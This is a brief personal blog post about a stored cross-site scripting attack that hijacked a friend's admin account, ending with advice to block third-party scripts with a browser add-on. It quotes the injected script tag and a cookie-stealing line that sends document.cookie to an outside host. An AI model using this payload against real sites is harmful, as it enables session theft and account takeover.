A small hack story

One of my friend came to me and told me he lost his admin user while he was browsing the web site. I was surprised because normally it does not happen. if that site was using asp.net :) its sad but true asp.net does not allow html inclusion in post data. anyway the hacker puts a script code into his name field like this:

src="http://inso.host.sk/sniffer/c.js"></script>

its not a big deal if you look the output of this script you will see this:

a=new/**/Image();a.src='http://inso.host.sk/sniffer/s.php?a='+escape(document.cookie);

at the end it stoles browser's cookie and send it to a php file. while the hacker browsing another url and see which fish got fall for a trick :) anyway today I made a research and found a solution to this situation:

https://addons.mozilla.org/en-US/firefox/addon/722

you should simply disable all js inclusions in the page except the domain. that will make your browser more secure.